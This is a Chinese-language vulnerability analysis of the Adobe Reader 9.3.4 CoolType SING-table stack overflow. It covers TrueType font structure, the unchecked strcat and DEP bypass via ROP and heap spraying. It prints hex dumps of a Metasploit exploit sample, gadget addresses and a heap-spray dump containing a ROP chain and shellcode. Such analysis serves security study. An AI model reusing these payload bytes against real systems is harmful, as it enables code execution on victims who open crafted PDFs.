题目:千年等一回-Adobe Reader CoolType库TTF字体解析栈溢出漏洞分析
作者:仙果
主页:http://hi.baidu.com/zhanglinguo11
目录:
0x1.漏洞描述
0x2.测试环境
0x3.漏洞触发原理分析
0x4.漏洞利用及绕过DEP相关技术分析
0x5.总结
题记:之所以称之为千年等一回,是因为很难得能碰到一个栈溢出漏洞,而且这个漏洞的利用还非常的怪异:一个栈溢出漏洞还需要堆喷射结合起来才能够很好的利用.
Adobe Reader此时送上了这个漏洞,千年等一回啊,确实需要仔细的分析一下,以下是自己的分析总结,其中必然有不正确的地方,欢迎批评指正。某位大牛说可以不用JavaScript填充
就可以做到稳定利用,我等小菜实在是不知道该如何做,还请大牛指点一二。
0x1.漏洞描述
Adobe Reader的CoolType.dll库在解析字体文件SING表格中的uniqueName项时存在栈溢出漏洞,用户受骗打开了特制的PDF文件就可能导致执行任意代码。
0x2.测试环境
系统:Windows XP SP3
软件:Adboe Reader 9.3.4
调试软件及其他:Windbg 010editor notepad++ IDA
0x3.漏洞触发原理分析
样本为1个,Metaspoit生成。漏洞触发原理分析使用Metaspoit生成的样本。
这是一个典型的栈溢出漏洞,其直接调用strcat不安全字符串操作函数,导致栈顶(esp)被覆盖,这与之前暴风影音爆出来的M3U文件格式的漏洞如出一辙,我有一篇分析,大家可以参考下。
链接地址为:http://bbs.pediy.com/showthread.php?t=112633
.text:0803DD5D push offset aName ; "name" .text:0803DD62 push edi ; int .text:0803DD63 lea ecx, [ebp+var_1C] .text:0803DD66 mov [ebp+var_11], 0 .text:0803DD6A call sub_80217D7 .text:0803DD6F cmp [ebp+var_1C], esi .text:0803DD72 jnz short loc_803DDDD .text:0803DD74 push offset aSing ; "SING" .text:0803DD79 push edi ; int .text:0803DD7A lea ecx, [ebp+var_24] .text:0803DD7D call sub_8021B06 //处理"SING"表, .text:0803DD82 mov eax, [ebp+var_24] //指向恶意数据,其实是SING表,已经被修改为恶意数据 .text:0803DD85 cmp eax, esi //比较eax,esi .text:0803DD87 mov byte ptr [ebp+var_4], 2 .text:0803DD8B jz short loc_803DDC4 //相等则跳,这里不条 .text:0803DD8D mov ecx, [eax] //把eax指向的内容赋给 ecx .text:0803DD8F and ecx, 0FFFFh .text:0803DD95 jz short loc_803DD9F //这里跳转 .text:0803DD97 cmp ecx, 100h .text:0803DD9D jnz short loc_803DDC0 .text:0803DD9F .text:0803DD9F loc_803DD9F: ; CODE XREF: sub_803DCF9+9Cj .text:0803DD9F add eax, 10h //跳过sizeof(USHORT)*8 .text:0803DDA2 push eax ; Source 把源地址压入堆栈 .text:0803DDA3 lea eax, [ebp+0] //目的地址 .text:0803DDA6 push eax ; Dest //这里就是目的地址 .text:0803DDA7 mov byte ptr [ebp+0], 0 .text:0803DDAB call strcat //这里调用strcat函数,覆盖栈顶(ESP)
strcat(StackMemcpy,SINGTable->uniqueName),由于恶意的uniqueName
这又是一个文件格式类的漏洞,下面来解释下TTF文件格式,资料是从网络上搜集到的,这里进行引用
前置知识:little endian和big endian的概念解释
ittle endian和big endian是表示计算机字节顺序的两种格式,所谓的字节顺序指的是长度跨越多个字节的数据的存放形式.
假设从地址0x00000000开始的一个字中保存有数据0x1234abcd,那么在两种不同的内存顺序的机器上从字节的角度去看的话分别表示为:
1)little endian:在内存中的存放顺序是0x00000000-0xcd,0x00000001-0xab,0x00000002-0x34,0x00000003-0x12
2)big endian:在内存中的存放顺序是0x00000000-0x12,0x00000001-0x34,0x00000002-0xab,0x00000003-0xcd
需要特别说明的是,以上假设机器是每个内存单元以8位即一个字节为单位的.
简单的说,ittle endian把低字节存放在内存的低位;而big endian将低字节存放在内存的高位.
现在主流的CPU,intel系列的是采用的little endian的格式存放数据,而motorola系列的CPU采用的是big endian.
TrueType字体用machintosh的轮廓字体资源的格式编码,有一个唯一的标记名"sfnt"。windows没有macintosh的位图字体资源格式,
字体目录包含了字体格式的版本号和几个表,每个表都有一个tableentry结构项,tableentry结构包含了资源标记、校验和、偏移量和每个表的大小。下面是TrueType字体目录的c语言定义:
typedef sturct { char tag[4];// 标记,如”SING” ULONG checkSum;// 校验和 ULONG offset;// 相对文件的偏移 ULONG length;// 数据长度 }TableEntry;
如果一TrueType字体以00 01 00 00 ,00 17开头,我们就可以知道它的格式是轮廓字体资源("sfnt")版本1.0的格式,有23个表。
TableDirectory结构的最后一个字段是可变长度的tableentry结构的数组,字体中的每个表对应其中一项。TrueType字体中的每个表都保存了不同的逻辑信息
-----如图元中数据、字符到图元的映射、字距调整信息等等。有表是必须的,有些是可选的。下表列出了TrueType字体中常见的表。
head 字体头 字体的全局信息 cmap 字符代码到图元的映射 把字符代码映射为图元索引 glyf 图元数据 图元轮廓定义以及网格调整指令 maxp 最大需求表 字体中所需内存分配情况的汇总数据 mmtx 水平规格 图元水平规格 loca 位置表索引 把元索引转换为图元的位置 name 命名表 版权说明、字体名、字体族名、风格名等等 hmtx 水平布局 字体水平布局星系:上高、下高、行间距、最大前进宽度、最小左支撑、最小右支撑 kerm 字距调整表 字距调整对的数组 post PostScript信息 所有图元的PostScript FontInfo目录项和PostScript名 PCLT PCL 5数据 HP PCL 5Printer Language 的字体信息:字体数、宽度、x高度、风格、记号集等等 OS/2 OS/2和Windows特有的规格 TrueType字体所需的规格集
对比样本中数据:
00E0h: 05 47 06 3A 00 00 EB 2C 00 00 00 20 53 49 4E 47 .G.:..?... SING 00F0h: D9 BC C8 B5 00 00 01 1C 00 00 1D DF 70 6F 73 74 偌鹊.......ost 0100h: B4 5A 2F BB 00 00 B8 F4 00 00 02 8E 70 72 65 70 /?.隔...rep 0110h: 3B 07 F1 00 00 00 20 F8 00 00 05 68 00 00 01 00 ;.?.. ?..h.... 0120h: 01 0E 00 01 00 00 00 00 00 00 00 3A 41 41 41 41 ...........:AAAA 0130h: 41 41 41 41 7E C5 06 08 0C 0C 0C 0C 41 41 41 41 AAAA~?.....AAAA //调用0x081586a5后,执行这里 0140h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0150h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0160h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0170h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0180h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0190h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 01A0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 01B0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 01C0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 01D0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 01E0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 01F0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0200h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0210h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0220h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0230h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0240h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0250h: 41 41 41 41 41 41 41 41 41 41 41 41 44 10 23 08 AAAAAAAAAAAAD.#. //070013fa处调用0x08231044 0260h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0270h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0280h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0290h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 02A0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 02B0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 02C0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 02D0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 02E0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 02F0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0300h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0310h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0320h: 41 41 41 41 A5 86 15 08 41 41 41 41 41 41 41 41 AAAA..AAAAAAAA //0x081586a5 0330h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0340h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0350h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 0360h: 41 41 41 41 41 41 41 41 6C 00 00 00 41 41 41 41 AAAAAAAAl...AAAA
其中 0500h: 53 49 4E 47 D9 BC C8 B5 00 00 01 1C 00 00 1D DF SING偌鹊.......? 就是SING表表目录结构: typedef sturct_SING { char tag[4];// 标记:"SING" ULONG checkSum;// 校验和:"0xD9BCC8B5" ULONG offset;// 相对文件的偏移:"0x0000011C " ULONG length;// 数据长度:"0x00001DDF" }TableEntry; 此时返回汇编代码看 .text:0803DD74 push offset aSing ; "SING" .text:0803DD79 push edi ; int .text:0803DD7A lea ecx, [ebp+var_24] .text:0803DD7D call sub_8021B06 //处理"SING"表, .text:0803DD82 mov eax, [ebp+var_24] //指向SING表结构的起始地址 .text:0803DD85 cmp eax, esi .text:0803DD87 mov byte ptr [ebp+var_4], 2 .text:0803DD8B jz short loc_803DDC4 .text:0803DD8D mov ecx, [eax] .text:0803DD8F and ecx, 0FFFFh .text:0803DD95 jz short loc_803DD9F //跳转 .text:0803DD97 cmp ecx, 100h .text:0803DD9D jnz short loc_803DDC0 .text:0803DD9F .text:0803DD9F loc_803DD9F: ; CODE XREF: sub_803DCF9+9Cj .text:0803DD9F add eax, 10h //跳过sizeof(USHORT)*8,跳过0x10个字节,指向uniqueName .text:0803DDA2 push eax ; Source 把源地址(指向uniqueName)压入堆栈 .text:0803DDA3 lea eax, [ebp+0] //目的地址 .text:0803DDA6 push eax ; Dest //这里就是目的地址 .text:0803DDA7 mov byte ptr [ebp+0], 0 .text:0803DDAB call strcat //这里调用strcat函数,覆盖栈顶(ESP)
add eax,10h指向了uniqueName ,其定义是28个字节的长度,但样本中已经被填充了恶意数据,不止28个字节
而程序在调用strcat之前,没有对uniqueName的数据长度进行验证,这就是漏洞触发的根本原因。
0x4.漏洞利用及绕过DEP相关技术分析
上面分析了漏洞的触发原理,现在来讨论下此漏洞在利用中的相关技术。由于Adobe Reader的版本9.2之后就引入了DEP技术,默认开启了DEP保护,在刚开始的时候对PDF漏洞的利用造成了很大的困扰,
但功夫不负有心人不知道是国外还是国内的高手创造了通过"ROR绕过DEP"的方法,具体原理大家可以搜索泉哥的文章,上面有详细的介绍,我这里就不解释了,这里给出链接:http://bbs.pediy.com/showthread.php?t=119300
想说的是这个漏洞在利用ROR技术的同时也很巧妙的构造了跳转的地址,有很强的技巧性,不得不佩服写这个漏洞利用的高手,我在下面会一一的解释。
首先是Metaspoit的样本
070013f2 55 push ebp 070013f3 8bec mov ebp,esp 070013f5 51 push ecx 070013f6 51 push ecx 070013f7 8d411c lea eax,[ecx+1Ch] 070013fa 8945f8 mov dword ptr [ebp-8],eax ss:0023:0012e44c=08231044 070013fd 8b45f8 mov eax,dword ptr [ebp-8] 07001400 f0ff08 lock dec dword ptr [eax] 07001403 0f9445ff sete byte ptr [ebp-1] 07001407 807dff00 cmp byte ptr [ebp-1],0 0700140b 7405 je BIB+0x1412 (07001412) 0700140d e8a3ffffff call BIB+0x13b5 (070013b5)
这个地址寻找起来特别麻烦,如果不对Adobe Reader各个函数流程精确掌握的话是很难找到这个地址,最起码我是没有找到,在写其他版本下的利用的时候,需要修改这个值。
0808b2dc c686e000000001 mov byte ptr <Unloaded_ame.dll>+0xdf (000000e0)[esi],1 0808b2e3 8b473c mov eax,dword ptr [edi+3Ch] 0808b2e6 3bc3 cmp eax,ebx 0808b2e8 8986f4020000 mov dword ptr <Unloaded_ame.dll>+0x2f3 (000002f4)[esi],eax 0808b2ee 899ef8020000 mov dword ptr <Unloaded_ame.dll>+0x2f7 (000002f8)[esi],ebx 0808b2f4 895dfc mov dword ptr [ebp-4],ebx 0808b2f7 7507 jne CoolType!CTInit+0x44c5d (0808b300) 0808b2f9 32c0 xor al,al 0808b2fb e994020000 jmp CoolType!CTInit+0x44ef1 (0808b594) 0808b300 8d4dfc lea ecx,[ebp-4] 0808b303 51 push ecx 0808b304 53 push ebx 0808b305 6a03 push 3 0808b307 50 push eax 0808b308 ff10 call dword ptr [eax] ds:0023:0012e6d0=081586a5 程序在0808b308处执行call [eax],而eax的值是样本中的数据:0x081586a5 081586a5 81c594070000 add ebp,offset <Unloaded_ame.dll>+0x793 (00000794) 081586ab c9 leave 081586ac c3 ret ret后 0806c57e 5c pop esp 0806c57f c3 ret
0:000> d 0c0c0c0c 0c0c0c0c 19 49 00 07 cc cc cc cc ef 48 00 07 6f 15 00 07 cc cc cc cc 84 90 00 07 84 90 00 .I.......H..o.............. 0c0c0c27 07 84 90 00 07 84 90 00 07 84 90 00 07 84 90 00 07 33 90 00 07 84 90 00 07 0c 0c .................3......... 0c0c0c42 0c 0c 84 90 00 07 84 90 00 07 84 90 00 07 84 90 00 07 84 90 00 07 84 90 00 07 84 ........................... 0c0c0c5d 90 00 07 84 90 00 07 99 15 00 07 24 01 01 00 f7 72 00 07 04 01 01 00 bb 15 00 07 ...........$....r.......... 0c0c0c78 00 10 00 00 4d 15 00 07 bb 15 00 07 00 03 fe 7f b2 7f 00 07 bb 15 00 07 11 00 01 ....M...................... 0c0c0c93 00 ac a8 00 07 bb 15 00 07 00 01 01 00 ac a8 00 07 f7 72 00 07 11 00 01 00 e2 52 ..................r.......R 0c0c0cae 00 07 54 5c 00 07 ff ff ff ff 00 01 01 00 00 00 00 00 04 01 01 00 00 10 00 00 40 ..T\......................@ 0c0c0cc9 00 00 00 31 d7 00 07 bb 15 00 07 5a 90 54 90 4d 15 00 07 22 a7 00 07 bb 15 00 07 ...1.......Z.T.M..."....... 0c0c0ce4 5a eb 15 58 4d 15 00 07 22 a7 00 07 bb 15 00 07 8b 1a 89 18 4d 15 00 07 22 a7 00 Z..XM..."...........M...".. 0c0c0cff 07 bb 15 00 07 83 c0 04 83 4d 15 00 07 22 a7 00 07 bb 15 00 07 c2 04 81 fb 4d 15 .........M..."...........M. 0c0c0d1a 00 07 22 a7 00 07 bb 15 00 07 0c 0c 0c 0c 4d 15 00 07 22 a7 00 07 bb 15 00 07 75 .."...........M...".......u 0c0c0d35 ee eb 05 4d 15 00 07 22 a7 00 07 bb 15 00 07 e8 e6 ff ff 4d 15 00 07 22 a7 00 07 ...M..."...........M..."... 0c0c0d50 bb 15 00 07 ff 90 90 90 4d 15 00 07 22 a7 00 07 bb 15 00 07 90 90 90 90 4d 15 00 ........M..."...........M.. 0c0c0d6b 07 22 a7 00 07 bb 15 00 07 90 90 90 90 4d 15 00 07 22 a7 00 07 bb 15 00 07 ff ff ."...........M..."......... 0c0c0d86 ff 90 4d 15 00 07 31 d7 00 07 2f 11 00 07 da ca be 10 f6 36 ef 33 c9 d9 74 24 f4 ..M...1.../........6.3..t$. 0c0c0da1 5a b1 49 31 72 19 83 c2 04 03 72 15 f2 03 ca 07 7b eb 33 d8 1b 65 d6 e9 09 11 92 Z.I1r.....r.....{.3..e..... 0c0c0dbc 58 9d 51 f6 50 56 37 e3 e3 1a 90 04 43 90 c6 2b 54 15 c7 e0 96 34 bb fa ca 96 82 X.Q.PV7.....C..+T....4..... 0c0c0dd7 34 1f d7 c3 29 d0 85 9c 26 43 39 a8 7b 58 38 7e f0 e0 42 fb c7 95 f8 02 18 05 77 4...)...&C9.{X8~..B.......w 0c0c0df2 4c 80 2d df 6d b1 e2 3c 51 f8 8f f6 21 fb 59 c7 ca cd a5 8b f4 e1 2b d2 31 c5 d3 L.-.m..<Q...!.Y.......+.1.. 0c0c0e0d a1 49 35 69 b1 89 47 b5 34 0c ef 3e ee f4 11 92 68 7e 1d 5f ff d8 02 5e 2c 53 3e .I5i..G.4..>....h~._...^,S> 0c0c0e28 eb d3 b4 b6 af f7 10 92 74 96 01 7e da a7 52 26 83 0d 18 c5 d0 37 43 82 15 05 7c ........t..~..R&.....7C...| 0c0c0e43 52 32 1e 0f 60 9d b4 87 c8 56 12 5f 2e 4d e2 cf d1 6e 12 d9 15 3a 42 71 bf 43 09 R2..`....V._.M...n...:Bq.C. 0c0c0e5e 81 40 96 9d d1 ee 49 5d 82 4e 3a 35 c8 40 65 25 f3 8a 0e cf 09 5d 4e 0f 12 9c d8 .@....I].N:5.@e%.....]N.... 0c0c0e79 0d 12 8f 44 98 f4 c5 64 cc af 71 1c 55 3b e3 e1 40 41 23 69 66 b5 ea 9a 03 a5 9b ...D...d..q.U;..@A#if...... 0c0c0e94 6a 5e 97 0a 74 75 b2 b2 e0 71 15 e4 9c 7b 40 c2 02 84 a7 58 8a 10 08 37 f3 f4 88 j^..tu...q...{@....X...7... 0c0c0eaf c7 a5 9e 88 af 11 fa da ca 5d d7 4e 47 c8 d7 26 3b 5b bf c4 62 ab 60 36 41 2d 5d .........].NG..&;[..b.`6A-] 0c0c0eca e1 ac ab 97 87 dc 77 41 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ......wA...................
0x5.总结
纵观漏洞,从触发到利用,无处不透露着编写者巧妙的思路以及扎实的基础。第一使程序在070013fa处正常执行,并能够返回上层函数。
第二通过两次对函数地址的引用以及准确的堆填充,使程序流程精确的跳转到绕过DEP的代码。第三精心构造PDF使其加载没有地址随机化的DLL,使漏洞可以针对Win7系统。
第四同一个PDF文档可以针对不同的Adobe Reader版本。漏洞利用是一门艺术,而这些就是自己学习的目标。
msf.pdf.rar